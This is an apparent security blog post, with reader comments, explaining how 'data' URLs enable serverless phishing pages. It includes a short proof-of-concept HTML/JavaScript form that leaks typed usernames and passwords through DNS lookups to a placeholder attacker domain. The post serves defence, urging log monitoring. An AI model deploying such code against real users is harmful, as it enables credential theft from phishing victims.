My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

"Data" URLs used for in-URL phishing

Published: 2012-08-29. Last Updated: 2012-08-29 13:51:28 UTC
by Johannes Ullrich (Version: 1)
5 comment(s)

The use of "data" URLs in cross site scripting and other attacks isn't exactly new. But the concept is still not widely known, and keeps getting rediscovered. The latest iteration is a paper outlining the use of "data" URLs in "server less phishing" [1]. (thanks to our reader Tor for pointing this paper out)

"data" URLs are defined in RFC 2397 (published 1998! ancient internet history) and implemented in all browsers I am aware off. I remember actually using them back in the old days to embed images in some of my early CGI scripts, before I figured out better ways to do this.

The syntax is pretty simple:

data:[<mediatype>][;base64],[data]

The trick is that the "data" URL doesn't point to a remote document like a traditional URL, but instead it includes all the data needed to display the page. Here are two examples: a small image. and a simple HTML page. You can create your own "data" URLs easily at the "Data URI Kitchen" [1] .

You can probably see how it wouldn't be too hard to come up with a half way convincing phishing page. The problem is that there are few defenses against this type of phishing. The web browser will not connect to any external resource to display the phish, unless images are included from remote sites (they could also be embedded). The only limit is whatever size limit to URLs the browser imposes.

From a phishing perspective, this will allow inserting the form, but you will still need a web server to receive the data. Unless of course, you can exfiltrate this via DNS. Here is a little proof of concept HTML / javascript to accomplish this. The "image" loaded here doesn't actually exist, and the only thing we are interested in is the DNS request sending the username and password as it is typed:

 

<html>
<script>
fakeimage=new Image();
function send(form) {
var user=form.user.value;
var pass=form.pass.value;
fakeimage.src="http://"+user+'.'+pass+'.evilexample.com/image.gif';
}
</script>
<form action="http://phishmebank.com">
Username: <input type="text" name="user" onkeydown="send(this.form);">
Password: <input type="password" name="pass" onkeydown="send(this.form);">
</form>
</html>

 Did I mention that you should REALLY watch your DNS and HTTP proxy logs (this would not show up in your proxy logs if the DNS query returns NXDOMAIN)

[1] http://klevjers.com/papers/phishing.pdf
[2] http://software.hixie.ch/utilities/cgi/data/data

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

5 comment(s)
My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

Comments

Firefox 15.0 is not rendering the text/html data URLs in your examples. The anchor text is highlighted, but clicking on it does nothing. The image URL does work, however.

The image URL is "data:image..." but the text/html URLs are "http://data:text..." Should they be prefixed with "http://"? I suspect not. Did the website text editor "help you out" and break them?

I have had many discussions about this (RFC 2397) several times. It seems trivial to "weaponize" or use for other negative purposes.
I have had filters setup for this on my secure mail relays and web proxies for years. I noticed an uptick of this activity just after this years Blackhat. Because it is not used very frequently I just do a regex rewrite at the web proxy or quarantine the email on the smr. To date, I have not had a false positive.
Removing the http:// in front of the data:text/html allows the simple HTML page and phishing page to work in Firefox 15.0 and Google Chrome 21.0.1180.83 m.
yes, our editor "fixed' the URLs and added the http. I will leave it as is for now. Just remove the http part manually ;-)
Good thing is Firefox 17 (Aurora) blocks the "data:text" URI by default

Diary Archives